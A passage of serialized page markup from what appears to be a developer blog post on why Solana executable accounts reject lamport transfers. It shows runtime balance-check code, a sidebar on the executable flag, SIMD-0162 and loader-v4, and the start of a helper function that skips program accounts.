\"solana\"",{"type":21,"tag":153,"props":75377,"children":75378},{"style":160},[75379],{"type":26,"value":23302},{"type":21,"tag":153,"props":75381,"children":75382},{"class":155,"line":225},[75383,75387,75391,75396,75400,75404,75408,75412,75416,75420,75424,75428,75432,75436,75440,75444,75448],{"type":21,"tag":153,"props":75384,"children":75385},{"style":170},[75386],{"type":26,"value":173},{"type":21,"tag":153,"props":75388,"children":75389},{"style":170},[75390],{"type":26,"value":178},{"type":21,"tag":153,"props":75392,"children":75393},{"style":181},[75394],{"type":26,"value":75395}," set_lamports",{"type":21,"tag":153,"props":75397,"children":75398},{"style":160},[75399],{"type":26,"value":189},{"type":21,"tag":153,"props":75401,"children":75402},{"style":198},[75403],{"type":26,"value":1974},{"type":21,"tag":153,"props":75405,"children":75406},{"style":170},[75407],{"type":26,"value":318},{"type":21,"tag":153,"props":75409,"children":75410},{"style":170},[75411],{"type":26,"value":16510},{"type":21,"tag":153,"props":75413,"children":75414},{"style":160},[75415],{"type":26,"value":1670},{"type":21,"tag":153,"props":75417,"children":75418},{"style":192},[75419],{"type":26,"value":18209},{"type":21,"tag":153,"props":75421,"children":75422},{"style":198},[75423],{"type":26,"value":201},{"type":21,"tag":153,"props":75425,"children":75426},{"style":214},[75427],{"type":26,"value":323},{"type":21,"tag":153,"props":75429,"children":75430},{"style":160},[75431],{"type":26,"value":2362},{"type":21,"tag":153,"props":75433,"children":75434},{"style":198},[75435],{"type":26,"value":2953},{"type":21,"tag":153,"props":75437,"children":75438},{"style":214},[75439],{"type":26,"value":16475},{"type":21,"tag":153,"props":75441,"children":75442},{"style":160},[75443],{"type":26,"value":16480},{"type":21,"tag":153,"props":75445,"children":75446},{"style":214},[75447],{"type":26,"value":18455},{"type":21,"tag":153,"props":75449,"children":75450},{"style":160},[75451],{"type":26,"value":10009},{"type":21,"tag":153,"props":75453,"children":75454},{"class":155,"line":239},[75455],{"type":21,"tag":153,"props":75456,"children":75457},{"style":3050},[75458],{"type":26,"value":75459},"    // An account not owned by the program cannot have its balance decrease\n",{"type":21,"tag":153,"props":75461,"children":75462},{"class":155,"line":382},[75463,75467,75471,75475,75479,75484,75488,75493,75498,75502,75506,75510,75515],{"type":21,"tag":153,"props":75464,"children":75465},{"style":1751},[75466],{"type":26,"value":2434},{"type":21,"tag":153,"props":75468,"children":75469},{"style":198},[75470],{"type":26,"value":15581},{"type":21,"tag":153,"props":75472,"children":75473},{"style":170},[75474],{"type":26,"value":16427},{"type":21,"tag":153,"props":75476,"children":75477},{"style":198},[75478],{"type":26,"value":355},{"type":21,"tag":153,"props":75480,"children":75481},{"style":181},[75482],{"type":26,"value":75483},"is_owned_by_current_program",{"type":21,"tag":153,"props":75485,"children":75486},{"style":160},[75487],{"type":26,"value":2461},{"type":21,"tag":153,"props":75489,"children":75490},{"style":198},[75491],{"type":26,"value":75492},"&&",{"type":21,"tag":153,"props":75494,"children":75495},{"style":192},[75496],{"type":26,"value":75497}," lamports",{"type":21,"tag":153,"props":75499,"children":75500},{"style":198},[75501],{"type":26,"value":4094},{"type":21,"tag":153,"props":75503,"children":75504},{"style":170},[75505],{"type":26,"value":16510},{"type":21,"tag":153,"props":75507,"children":75508},{"style":198},[75509],{"type":26,"value":355},{"type":21,"tag":153,"props":75511,"children":75512},{"style":181},[75513],{"type":26,"value":75514},"get_lamports",{"type":21,"tag":153,"props":75516,"children":75517},{"style":160},[75518],{"type":26,"value":18433},{"type":21,"tag":153,"props":75520,"children":75521},{"class":155,"line":501},[75522,75526,75530,75534,75538,75542,75547],{"type":21,"tag":153,"props":75523,"children":75524},{"style":1751},[75525],{"type":26,"value":18441},{"type":21,"tag":153,"props":75527,"children":75528},{"style":214},[75529],{"type":26,"value":18446},{"type":21,"tag":153,"props":75531,"children":75532},{"style":160},[75533],{"type":26,"value":189},{"type":21,"tag":153,"props":75535,"children":75536},{"style":214},[75537],{"type":26,"value":18455},{"type":21,"tag":153,"props":75539,"children":75540},{"style":198},[75541],{"type":26,"value":265},{"type":21,"tag":153,"props":75543,"children":75544},{"style":214},[75545],{"type":26,"value":75546},"ExternalAccountLamportSpend",{"type":21,"tag":153,"props":75548,"children":75549},{"style":160},[75550],{"type":26,"value":530},{"type":21,"tag":153,"props":75552,"children":75553},{"class":155,"line":533},[75554],{"type":21,"tag":153,"props":75555,"children":75556},{"style":160},[75557],{"type":26,"value":539},{"type":21,"tag":153,"props":75559,"children":75560},{"class":155,"line":542},[75561],{"type":21,"tag":153,"props":75562,"children":75563},{"style":3050},[75564],{"type":26,"value":75565},"    // The balance of read-only may not change\n",{"type":21,"tag":153,"props":75567,"children":75568},{"class":155,"line":762},[75569,75573,75577,75581,75585,75590],{"type":21,"tag":153,"props":75570,"children":75571},{"style":1751},[75572],{"type":26,"value":2434},{"type":21,"tag":153,"props":75574,"children":75575},{"style":198},[75576],{"type":26,"value":15581},{"type":21,"tag":153,"props":75578,"children":75579},{"style":170},[75580],{"type":26,"value":16427},{"type":21,"tag":153,"props":75582,"children":75583},{"style":198},[75584],{"type":26,"value":355},{"type":21,"tag":153,"props":75586,"children":75587},{"style":181},[75588],{"type":26,"value":75589},"is_writable",{"type":21,"tag":153,"props":75591,"children":75592},{"style":160},[75593],{"type":26,"value":18433},{"type":21,"tag":153,"props":75595,"children":75596},{"class":155,"line":776},[75597,75601,75605,75609,75613,75617,75622],{"type":21,"tag":153,"props":75598,"children":75599},{"style":1751},[75600],{"type":26,"value":18441},{"type":21,"tag":153,"props":75602,"children":75603},{"style":214},[75604],{"type":26,"value":18446},{"type":21,"tag":153,"props":75606,"children":75607},{"style":160},[75608],{"type":26,"value":189},{"type":21,"tag":153,"props":75610,"children":75611},{"style":214},[75612],{"type":26,"value":18455},{"type":21,"tag":153,"props":75614,"children":75615},{"style":198},[75616],{"type":26,"value":265},{"type":21,"tag":153,"props":75618,"children":75619},{"style":214},[75620],{"type":26,"value":75621},"ReadonlyLamportChange",{"type":21,"tag":153,"props":75623,"children":75624},{"style":160},[75625],{"type":26,"value":530},{"type":21,"tag":153,"props":75627,"children":75628},{"class":155,"line":795},[75629],{"type":21,"tag":153,"props":75630,"children":75631},{"style":160},[75632],{"type":26,"value":539},{"type":21,"tag":153,"props":75634,"children":75635},{"class":155,"line":808},[75636],{"type":21,"tag":153,"props":75637,"children":75638},{"style":3050},[75639],{"type":26,"value":75640},"    // The balance of executable accounts may not change\n",{"type":21,"tag":153,"props":75642,"children":75643},{"class":155,"line":820},[75644,75648,75652,75656,75661],{"type":21,"tag":153,"props":75645,"children":75646},{"style":1751},[75647],{"type":26,"value":2434},{"type":21,"tag":153,"props":75649,"children":75650},{"style":170},[75651],{"type":26,"value":16510},{"type":21,"tag":153,"props":75653,"children":75654},{"style":198},[75655],{"type":26,"value":355},{"type":21,"tag":153,"props":75657,"children":75658},{"style":181},[75659],{"type":26,"value":75660},"is_executable_internal",{"type":21,"tag":153,"props":75662,"children":75663},{"style":160},[75664],{"type":26,"value":18433},{"type":21,"tag":153,"props":75666,"children":75667},{"class":155,"line":842},[75668,75672,75676,75680,75684,75688,75693],{"type":21,"tag":153,"props":75669,"children":75670},{"style":1751},[75671],{"type":26,"value":18441},{"type":21,"tag":153,"props":75673,"children":75674},{"style":214},[75675],{"type":26,"value":18446},{"type":21,"tag":153,"props":75677,"children":75678},{"style":160},[75679],{"type":26,"value":189},{"type":21,"tag":153,"props":75681,"children":75682},{"style":214},[75683],{"type":26,"value":18455},{"type":21,"tag":153,"props":75685,"children":75686},{"style":198},[75687],{"type":26,"value":265},{"type":21,"tag":153,"props":75689,"children":75690},{"style":214},[75691],{"type":26,"value":75692},"ExecutableLamportChange",{"type":21,"tag":153,"props":75694,"children":75695},{"style":160},[75696],{"type":26,"value":530},{"type":21,"tag":153,"props":75698,"children":75699},{"class":155,"line":3204},[75700],{"type":21,"tag":153,"props":75701,"children":75702},{"style":160},[75703],{"type":26,"value":539},{"type":21,"tag":153,"props":75705,"children":75706},{"class":155,"line":3230},[75707],{"type":21,"tag":153,"props":75708,"children":75709},{"style":3050},[75710],{"type":26,"value":75711},"    // don't touch the account if the lamports do not change\n",{"type":21,"tag":153,"props":75713,"children":75714},{"class":155,"line":3239},[75715,75719,75723,75727,75731,75735,75739,75743],{"type":21,"tag":153,"props":75716,"children":75717},{"style":1751},[75718],{"type":26,"value":2434},{"type":21,"tag":153,"props":75720,"children":75721},{"style":170},[75722],{"type":26,"value":16510},{"type":21,"tag":153,"props":75724,"children":75725},{"style":198},[75726],{"type":26,"value":355},{"type":21,"tag":153,"props":75728,"children":75729},{"style":181},[75730],{"type":26,"value":75514},{"type":21,"tag":153,"props":75732,"children":75733},{"style":160},[75734],{"type":26,"value":2461},{"type":21,"tag":153,"props":75736,"children":75737},{"style":198},[75738],{"type":26,"value":1694},{"type":21,"tag":153,"props":75740,"children":75741},{"style":192},[75742],{"type":26,"value":75497},{"type":21,"tag":153,"props":75744,"children":75745},{"style":160},[75746],{"type":26,"value":236},{"type":21,"tag":153,"props":75748,"children":75749},{"class":155,"line":3253},[75750,75754,75758],{"type":21,"tag":153,"props":75751,"children":75752},{"style":1751},[75753],{"type":26,"value":18441},{"type":21,"tag":153,"props":75755,"children":75756},{"style":214},[75757],{"type":26,"value":2616},{"type":21,"tag":153,"props":75759,"children":75760},{"style":160},[75761],{"type":26,"value":75762},"(());\n",{"type":21,"tag":153,"props":75764,"children":75765},{"class":155,"line":3301},[75766],{"type":21,"tag":153,"props":75767,"children":75768},{"style":160},[75769],{"type":26,"value":539},{"type":21,"tag":153,"props":75771,"children":75772},{"class":155,"line":3346},[75773,75777,75781,75786,75790,75794],{"type":21,"tag":153,"props":75774,"children":75775},{"style":170},[75776],{"type":26,"value":23480},{"type":21,"tag":153,"props":75778,"children":75779},{"style":198},[75780],{"type":26,"value":355},{"type":21,"tag":153,"props":75782,"children":75783},{"style":181},[75784],{"type":26,"value":75785},"touch",{"type":21,"tag":153,"props":75787,"children":75788},{"style":160},[75789],{"type":26,"value":365},{"type":21,"tag":153,"props":75791,"children":75792},{"style":198},[75793],{"type":26,"value":2022},{"type":21,"tag":153,"props":75795,"children":75796},{"style":160},[75797],{"type":26,"value":1759},{"type":21,"tag":153,"props":75799,"children":75800},{"class":155,"line":3355},[75801,75805,75809,75813,75817,75821,75825,75829],{"type":21,"tag":153,"props":75802,"children":75803},{"style":170},[75804],{"type":26,"value":23480},{"type":21,"tag":153,"props":75806,"children":75807},{"style":198},[75808],{"type":26,"value":355},{"type":21,"tag":153,"props":75810,"children":75811},{"style":160},[75812],{"type":26,"value":15670},{"type":21,"tag":153,"props":75814,"children":75815},{"style":198},[75816],{"type":26,"value":355},{"type":21,"tag":153,"props":75818,"children":75819},{"style":181},[75820],{"type":26,"value":75328},{"type":21,"tag":153,"props":75822,"children":75823},{"style":160},[75824],{"type":26,"value":189},{"type":21,"tag":153,"props":75826,"children":75827},{"style":192},[75828],{"type":26,"value":18209},{"type":21,"tag":153,"props":75830,"children":75831},{"style":160},[75832],{"type":26,"value":530},{"type":21,"tag":153,"props":75834,"children":75835},{"class":155,"line":3364},[75836,75840],{"type":21,"tag":153,"props":75837,"children":75838},{"style":214},[75839],{"type":26,"value":3621},{"type":21,"tag":153,"props":75841,"children":75842},{"style":160},[75843],{"type":26,"value":3626},{"type":21,"tag":153,"props":75845,"children":75846},{"class":155,"line":3376},[75847],{"type":21,"tag":153,"props":75848,"children":75849},{"style":160},[75850],{"type":26,"value":548},{"type":21,"tag":153,"props":75852,"children":75853},{"class":155,"line":3393},[75854],{"type":21,"tag":153,"props":75855,"children":75856},{"emptyLinePlaceholder":16},[75857],{"type":26,"value":759},{"type":21,"tag":153,"props":75859,"children":75860},{"class":155,"line":3405},[75861],{"type":21,"tag":153,"props":75862,"children":75863},{"style":3050},[75864],{"type":26,"value":75865},"/// Feature gating to remove `is_executable` flag related checks\n",{"type":21,"tag":153,"props":75867,"children":75868},{"class":155,"line":3427},[75869,75873,75877,75881],{"type":21,"tag":153,"props":75870,"children":75871},{"style":160},[75872],{"type":26,"value":75366},{"type":21,"tag":153,"props":75874,"children":75875},{"style":198},[75876],{"type":26,"value":2367},{"type":21,"tag":153,"props":75878,"children":75879},{"style":671},[75880],{"type":26,"value":75375},{"type":21,"tag":153,"props":75882,"children":75883},{"style":160},[75884],{"type":26,"value":23302},{"type":21,"tag":153,"props":75886,"children":75887},{"class":155,"line":3448},[75888],{"type":21,"tag":153,"props":75889,"children":75890},{"style":160},[75891],{"type":26,"value":75892},"#[inline]\n",{"type":21,"tag":153,"props":75894,"children":75895},{"class":155,"line":3456},[75896,75900,75905,75909,75913,75917,75921,75925,75929],{"type":21,"tag":153,"props":75897,"children":75898},{"style":170},[75899],{"type":26,"value":1000},{"type":21,"tag":153,"props":75901,"children":75902},{"style":181},[75903],{"type":26,"value":75904}," is_executable_internal",{"type":21,"tag":153,"props":75906,"children":75907},{"style":160},[75908],{"type":26,"value":189},{"type":21,"tag":153,"props":75910,"children":75911},{"style":198},[75912],{"type":26,"value":1974},{"type":21,"tag":153,"props":75914,"children":75915},{"style":170},[75916],{"type":26,"value":16427},{"type":21,"tag":153,"props":75918,"children":75919},{"style":160},[75920],{"type":26,"value":2362},{"type":21,"tag":153,"props":75922,"children":75923},{"style":198},[75924],{"type":26,"value":2953},{"type":21,"tag":153,"props":75926,"children":75927},{"style":214},[75928],{"type":26,"value":14769},{"type":21,"tag":153,"props":75930,"children":75931},{"style":160},[75932],{"type":26,"value":236},{"type":21,"tag":153,"props":75934,"children":75935},{"class":155,"line":3493},[75936,75940],{"type":21,"tag":153,"props":75937,"children":75938},{"style":198},[75939],{"type":26,"value":23663},{"type":21,"tag":153,"props":75941,"children":75942},{"style":170},[75943],{"type":26,"value":75944},"self\n",{"type":21,"tag":153,"props":75946,"children":75947},{"class":155,"line":3509},[75948,75952],{"type":21,"tag":153,"props":75949,"children":75950},{"style":198},[75951],{"type":26,"value":70554},{"type":21,"tag":153,"props":75953,"children":75954},{"style":160},[75955],{"type":26,"value":75956},"transaction_context\n",{"type":21,"tag":153,"props":75958,"children":75959},{"class":155,"line":3517},[75960,75964],{"type":21,"tag":153,"props":75961,"children":75962},{"style":198},[75963],{"type":26,"value":70554},{"type":21,"tag":153,"props":75965,"children":75966},{"style":160},[75967],{"type":26,"value":75968},"remove_accounts_executable_flag_checks\n",{"type":21,"tag":153,"props":75970,"children":75971},{"class":155,"line":3526},[75972,75976,75980,75984,75988,75992,75996],{"type":21,"tag":153,"props":75973,"children":75974},{"style":198},[75975],{"type":26,"value":2478},{"type":21,"tag":153,"props":75977,"children":75978},{"style":170},[75979],{"type":26,"value":16510},{"type":21,"tag":153,"props":75981,"children":75982},{"style":198},[75983],{"type":26,"value":355},{"type":21,"tag":153,"props":75985,"children":75986},{"style":160},[75987],{"type":26,"value":15670},{"type":21,"tag":153,"props":75989,"children":75990},{"style":198},[75991],{"type":26,"value":355},{"type":21,"tag":153,"props":75993,"children":75994},{"style":181},[75995],{"type":26,"value":18352},{"type":21,"tag":153,"props":75997,"children":75998},{"style":160},[75999],{"type":26,"value":10462},{"type":21,"tag":153,"props":76001,"children":76002},{"class":155,"line":3607},[76003],{"type":21,"tag":153,"props":76004,"children":76005},{"style":160},[76006],{"type":26,"value":548},{"type":21,"tag":22,"props":76008,"children":76009},{},[76010],{"type":26,"value":76011},"Turns out: even writable, rent-exempt accounts can still reject lamport transfers.",{"type":21,"tag":22,"props":76013,"children":76014},{},[76015,76017,76022],{"type":26,"value":76016},"Specifically, ",{"type":21,"tag":8055,"props":76018,"children":76019},{},[76020],{"type":26,"value":76021},"executable accounts",{"type":26,"value":76023}," cannot receive or send lamports — the runtime treats them as immutable.",{"type":21,"tag":21591,"props":76025,"children":76027},{"id":76026},"sidebar-whats-the-executable-flag-anyway",[76028],{"type":26,"value":76029},"Sidebar: What's the executable Flag Anyway?",{"type":21,"tag":22,"props":76031,"children":76032},{},[76033,76034,76039],{"type":26,"value":19311},{"type":21,"tag":78,"props":76035,"children":76037},{"className":76036},[],[76038],{"type":26,"value":18352},{"type":26,"value":76040}," flag is a legacy mechanism marking accounts that hold program code. Historically, an account with this flag was assumed to either contain immutable BPF bytecode or was a proxy to a built-in program, and therefore it made sense to consider it read-only for performance reasons.",{"type":21,"tag":22,"props":76042,"children":76043},{},[76044,76046,76051],{"type":26,"value":76045},"This behavior became problematic with the introduction of the ",{"type":21,"tag":8055,"props":76047,"children":76048},{},[76049],{"type":26,"value":76050},"Upgradeable BPF Loader",{"type":26,"value":76052},". A workaround was used to maintain compatibility with the existing runtime logic. The program data containing bpf bytecode was split into a separate account, ProgramData, with the program account now only containing an address pointing to the ProgramData account:",{"type":21,"tag":143,"props":76054,"children":76056},{"className":145,"code":76055,"language":147,"meta":7,"style":7},"Program {\n    /// Address of the ProgramData account.\n    programdata_address: Pubkey,\n},\nProgramData {\n    /// Slot that the program was last modified.\n    slot: u64,\n    /// Address of the Program's upgrade authority.\n    upgrade_authority_address: Option\u003CPubkey>,\n    // The raw program data follows this serialized structure in the\n    // account's data.\n},\n",[76057],{"type":21,"tag":78,"props":76058,"children":76059},{"__ignoreMap":7},[76060,76072,76080,76100,76108,76120,76128,76148,76156,76184,76192,76200],{"type":21,"tag":153,"props":76061,"children":76062},{"class":155,"line":156},[76063,76068],{"type":21,"tag":153,"props":76064,"children":76065},{"style":214},[76066],{"type":26,"value":76067},"Program",{"type":21,"tag":153,"props":76069,"children":76070},{"style":160},[76071],{"type":26,"value":236},{"type":21,"tag":153,"props":76073,"children":76074},{"class":155,"line":166},[76075],{"type":21,"tag":153,"props":76076,"children":76077},{"style":3050},[76078],{"type":26,"value":76079},"    /// Address of the ProgramData account.\n",{"type":21,"tag":153,"props":76081,"children":76082},{"class":155,"line":225},[76083,76088,76092,76096],{"type":21,"tag":153,"props":76084,"children":76085},{"style":192},[76086],{"type":26,"value":76087},"    programdata_address",{"type":21,"tag":153,"props":76089,"children":76090},{"style":198},[76091],{"type":26,"value":201},{"type":21,"tag":153,"props":76093,"children":76094},{"style":214},[76095],{"type":26,"value":2266},{"type":21,"tag":153,"props":76097,"children":76098},{"style":160},[76099],{"type":26,"value":792},{"type":21,"tag":153,"props":76101,"children":76102},{"class":155,"line":239},[76103],{"type":21,"tag":153,"props":76104,"children":76105},{"style":160},[76106],{"type":26,"value":76107},"},\n",{"type":21,"tag":153,"props":76109,"children":76110},{"class":155,"line":382},[76111,76116],{"type":21,"tag":153,"props":76112,"children":76113},{"style":214},[76114],{"type":26,"value":76115},"ProgramData",{"type":21,"tag":153,"props":76117,"children":76118},{"style":160},[76119],{"type":26,"value":236},{"type":21,"tag":153,"props":76121,"children":76122},{"class":155,"line":501},[76123],{"type":21,"tag":153,"props":76124,"children":76125},{"style":3050},[76126],{"type":26,"value":76127},"    /// Slot that the program was last modified.\n",{"type":21,"tag":153,"props":76129,"children":76130},{"class":155,"line":533},[76131,76136,76140,76144],{"type":21,"tag":153,"props":76132,"children":76133},{"style":192},[76134],{"type":26,"value":76135},"    slot",{"type":21,"tag":153,"props":76137,"children":76138},{"style":198},[76139],{"type":26,"value":201},{"type":21,"tag":153,"props":76141,"children":76142},{"style":214},[76143],{"type":26,"value":323},{"type":21,"tag":153,"props":76145,"children":76146},{"style":160},[76147],{"type":26,"value":792},{"type":21,"tag":153,"props":76149,"children":76150},{"class":155,"line":542},[76151],{"type":21,"tag":153,"props":76152,"children":76153},{"style":3050},[76154],{"type":26,"value":76155},"    /// Address of the Program's upgrade authority.\n",{"type":21,"tag":153,"props":76157,"children":76158},{"class":155,"line":762},[76159,76164,76168,76172,76176,76180],{"type":21,"tag":153,"props":76160,"children":76161},{"style":192},[76162],{"type":26,"value":76163},"    upgrade_authority_address",{"type":21,"tag":153,"props":76165,"children":76166},{"style":198},[76167],{"type":26,"value":201},{"type":21,"tag":153,"props":76169,"children":76170},{"style":214},[76171],{"type":26,"value":30340},{"type":21,"tag":153,"props":76173,"children":76174},{"style":160},[76175],{"type":26,"value":8537},{"type":21,"tag":153,"props":76177,"children":76178},{"style":214},[76179],{"type":26,"value":2878},{"type":21,"tag":153,"props":76181,"children":76182},{"style":160},[76183],{"type":26,"value":8867},{"type":21,"tag":153,"props":76185,"children":76186},{"class":155,"line":776},[76187],{"type":21,"tag":153,"props":76188,"children":76189},{"style":3050},[76190],{"type":26,"value":76191},"    // The raw program data follows this serialized structure in the\n",{"type":21,"tag":153,"props":76193,"children":76194},{"class":155,"line":795},[76195],{"type":21,"tag":153,"props":76196,"children":76197},{"style":3050},[76198],{"type":26,"value":76199},"    // account's data.\n",{"type":21,"tag":153,"props":76201,"children":76202},{"class":155,"line":808},[76203],{"type":21,"tag":153,"props":76204,"children":76205},{"style":160},[76206],{"type":26,"value":76107},{"type":21,"tag":22,"props":76208,"children":76209},{},[76210,76212,76219],{"type":26,"value":76211},"Eventually, the executable flag will be removed entirely as proposed in ",{"type":21,"tag":29,"props":76213,"children":76216},{"href":76214,"rel":76215},"https://github.com/solana-foundation/solana-improvement-documents/blob/main/proposals/0162-remove-accounts-executable-flag-checks.md",[33],[76217],{"type":26,"value":76218},"SIMD-0162",{"type":26,"value":76220},". The reasoning is simple: an account's owner and its content are sufficient to determine if it's a valid program — the executable flag is redundant.",{"type":21,"tag":22,"props":76222,"children":76223},{},[76224,76226,76231,76233,76238],{"type":26,"value":76225},"This change is also a ",{"type":21,"tag":8055,"props":76227,"children":76228},{},[76229],{"type":26,"value":76230},"hard requirement for supporting the new loader-v4",{"type":26,"value":76232},". Unlike the upgradable loader, which relies on a separate ",{"type":21,"tag":78,"props":76234,"children":76236},{"className":76235},[],[76237],{"type":26,"value":76115},{"type":26,"value":76239}," proxy account, loader-v4 stores all program data directly in the program account itself.",{"type":21,"tag":22,"props":76241,"children":76242},{},[76243,76245,76252,76254,76259],{"type":26,"value":76244},"As a result, it becomes impossible to modify the account's size after deployment, or to ",{"type":21,"tag":29,"props":76246,"children":76249},{"href":76247,"rel":76248},"https://github.com/anza-xyz/agave/blob/7a1e57469a5b1aeed617457c0519803620ba953f/programs/bpf_loader/src/lib.rs#L1411",[33],[76250],{"type":26,"value":76251},"migrate",{"type":26,"value":76253}," from the upgradable loader to loader-v4 — without hitting the ",{"type":21,"tag":78,"props":76255,"children":76257},{"className":76256},[],[76258],{"type":26,"value":75692},{"type":26,"value":76260}," restriction.",{"type":21,"tag":21591,"props":76262,"children":76264},{"id":76263},"fix-2-reject-program-accounts",[76265],{"type":26,"value":76266},"Fix 2: Reject Program Accounts",{"type":21,"tag":22,"props":76268,"children":76269},{},[76270],{"type":26,"value":76271},"To avoid this footgun, let’s explicitly skip any executable account:",{"type":21,"tag":143,"props":76273,"children":76275},{"className":145,"code":76274,"language":147,"meta":7,"style":7},"pub fn can_transfer_lamports(account: &AccountInfo, lamports: u64) -> Result\u003Cbool> {\nfn is_program(account: &AccountInfo) -> bool {\n    account.executable\n}\nlet rent = Rent::get()?;\nlet balance_after = account.lamports() + lamports;\nOk(account.is_writable\n    && rent.is_exempt(balance_after, account.data_len())\n    && !is_program(account))\n}\n",[76276],{"type":21,"tag":78,"props":76277,"children":76278},{"__ignoreMap":7},[76279,76355,76403,76419,76426,76465,76509,76533,76582,76610],{"type":21,"tag":153,"props":76280,"children":76281},{"class":155,"line":156},[76282,76286,76290,76295,76299,76303,76307,76311,76315,76319,76323,76327,76331,76335,76339,76343,76347,76351],{"type":21,"tag":153,"props":76283,"children":76284},{"style":170},[76285],{"type":26,"value":173},{"type":21,"tag":153,"props":76287,"children":76288},{"style":170},[76289],{"type":26,"value":178},{"type":21,"tag":153,"props":76291,"children":76292},{"style":181},[76293],{"type":26,"value":76294}," can_transfer_lamports",{"type":21,"tag":153,"props":76296,"children":76297},{"style":160},[76298],{"type":26,"value":189},{"type":21,"tag":153,"props":76300,"children":76301},{"style":192},[76302],{"type":26,"value":15670},{"type":21,"tag":153,"props":76304,"children":76305},{"style":198},[76306],{"type":26,"value":201},{"type":21,"tag":153,"props":76308,"children":76309},{"style":198},[76310],{"type":26,"value":206},{"type":21,"tag":153,"props":76312,"children":76313},{"style":214},[76314],{"type":26,"value":2907},{"type":21,"tag":153,"props":76316,"children":76317},{"style":160},[76318],{"type":26,"value":1670},{"type":21,"tag":153,"props":76320,"children":76321},{"style":192},[76322],{"type":26,"value":18209},{"type":21,"tag":153,"props":76324,"children":76325},{"style":198},[76326],{"type":26,"value":201},{"type":21,"tag":153,"props":76328,"children":76329},{"style":214},[76330],{"type":26,"value":323},{"type":21,"tag":153,"props":76332,"children":76333},{"style":160},[76334],{"type":26,"value":2362},{"type":21,"tag":153,"props":76336,"children":76337},{"style":198},[76338],{"type":26,"value":2953},{"type":21,"tag":153,"props":76340,"children":76341},{"style":214},[76342],{"type":26,"value":16475},{"type":21,"tag":153,"props":76344,"children":76345},{"style":160},[76346],{"type":26,"value":8537},{"type":21,"tag":153,"props":76348,"children":76349},{"style":214},[76350],{"type":26,"value":32380},{"type":21,"tag":153,"props":76352,"children":76353},{"style":160},[76354],{"type":26,"value":10009},{"type":21,"tag":153,"props":76356,"children":76357},{"class":155,"line":166},[76358,76362,76367,76371,76375,76379,76383,76387,76391,76395,76399],{"type":21,"tag":153,"props":76359,"children":76360},{"style":170},[76361],{"type":26,"value":1000},{"type":21,"tag":153,"props":76363,"children":76364},{"style":181},[76365],{"type":26,"value":76366}," is_program",{"type":21,"tag":153,"props":76368,"children":76369},{"style":160},[76370],{"type":26,"value":189},{"type":21,"tag":153,"props":76372,"children":76373},{"style":192},[76374],{"type":26,"value":15670},{"type":21,"tag":153,"props":76376,"children":76377},{"style":198},[76378],{"type":26,"value":201},{"type":21,"tag":153,"props":76380,"children":76381},{"style":198},[76382],{"type":26,"value":206},{"type":21,"tag":153,"props":76384,"children":76385},{"style":214},[76386],{"type":26,"value":2907},{"type":21,"tag":153,"props":76388,"children":76389},{"style":160},[76390],{"type":26,"value":2362},{"type":21,"tag":153,"props":76392,"children":76393},{"style":198},[76394],{"type":26,"value":2953},{"type":21,"tag":153,"props":76396,"children":76397},{"style":214},[76398],{"type":26,"value":14769},{"type":21,"tag":153,"props":76400,"children":76401},{"style":160},[76402],{"type":26,"value":236},{"type":21,"tag":153,"props":76404,"children":76405},{"class":155,"line":225},[76406,76410,76414],{"type":21,"tag":153,"props":76407,"children":76408},{"style":192},[76409],{"type":26,"value":27869},{"type":21,"tag":153,"props":76411,"children":76412},{"style":198},[76413],{"type":26,"value":355},{"type":21,"tag":153,"props":76415,"children":76416},{"style":160},[76417],{"type":26,"value":76418},"executable\n",{"type":21,"tag":153,"props":76420,"children":76421},{"class":155,"line":239},[76422],{"type":21,"tag":153,"props":76423,"children":76424},{"style":160},[76425],{"type":26,"value":548},{"type":21,"tag":153,"props":76427,"children":76428},{"class":155,"line":382},[76429,76433,76437,76441,76445,76449,76453,76457,76461],{"type":21,"tag":153,"props":76430,"children":76431},{"style":170},[76432],{"type":26,"value":1555},{"type":21,"tag":153,"props":76434,"children":76435},{"style":192},[76436],{"type":26,"value":75186},{"type":21,"tag":153,"props":76438,"children":76439},{"style":198},[76440],{"type":26,"value":255},{"type":21,"tag":153,"props":76442,"children":76443},{"style":214},[76444],{"type":26,"value":3166},{"type":21,"tag":153,"props":76446,"children":76447},{"style":198},[76448],{"type":26,"value":265},{"type":21,"tag":153,"props":76450,"children":76451},{"style":181},[76452],{"type":26,"value":19049},{"type":21,"tag":153,"props":76454,"children":76455},{"style":160},[76456],{"type":26,"value":365},{"type":21,"tag":153,"props":76458,"children":76459},{"style":198},[76460],{"type":26,"value":2022},{"type":21,"tag":153,"props":76462,"children":76463},{"style":160},[76464],{"type":26,"value":1759},{"type":21,"tag":153,"props":76466,"children":76467},{"class":155,"line":501},[76468,76472,76477,76481,76485,76489,76493,76497,76501,76505],{"type":21,"tag":153,"props":76469,"children":76470},{"style":170},[76471],{"type":26,"value":1555},{"type":21,"tag":153,"props":76473,"children":76474},{"style":192},[76475],{"type":26,"value":76476}," balance_after",{"type":21,"tag":153,"props":76478,"children":76479},{"style":198},[76480],{"type":26,"value":255},{"type":21,"tag":153,"props":76482,"children":76483},{"style":192},[76484],{"type":26,"value":8213},{"type":21,"tag":153,"props":76486,"children":76487},{"style":198},[76488],{"type":26,"value":355},{"type":21,"tag":153,"props":76490,"children":76491},{"style":181},[76492],{"type":26,"value":18209},{"type":21,"tag":153,"props":76494,"children":76495},{"style":160},[76496],{"type":26,"value":2461},{"type":21,"tag":153,"props":76498,"children":76499},{"style":198},[76500],{"type":26,"value":4099},{"type":21,"tag":153,"props":76502,"children":76503},{"style":192},[76504],{"type":26,"value":75497},{"type":21,"tag":153,"props":76506,"children":76507},{"style":160},[76508],{"type":26,"value":1759},{"type":21,"tag":153,"props":76510,"children":76511},{"class":155,"line":533},[76512,76516,76520,76524,76528],{"type":21,"tag":153,"props":76513,"children":76514},{"style":214},[76515],{"type":26,"value":23183},{"type":21,"tag":153,"props":76517,"children":76518},{"style":160},[76519],{"type":26,"value":189},{"type":21,"tag":153,"props":76521,"children":76522},{"style":192},[76523],{"type":26,"value":15670},{"type":21,"tag":153,"props":76525,"children":76526},{"style":198},[76527],{"type":26,"value":355},{"type":21,"tag":153,"props":76529,"children":76530},{"style":160},[76531],{"type":26,"value":76532},"is_writable\n",{"type":21,"tag":153,"props":76534,"children":76535},{"class":155,"line":542},[76536,76540,76544,76548,76553,76557,76562,76566,76570,76574,76578],{"type":21,"tag":153,"props":76537,"children":76538},{"style":198},[76539],{"type":26,"value":18318},{"type":21,"tag":153,"props":76541,"children":76542},{"style":192},[76543],{"type":26,"value":75186},{"type":21,"tag":153,"props":76545,"children":76546},{"style":198},[76547],{"type":26,"value":355},{"type":21,"tag":153,"props":76549,"c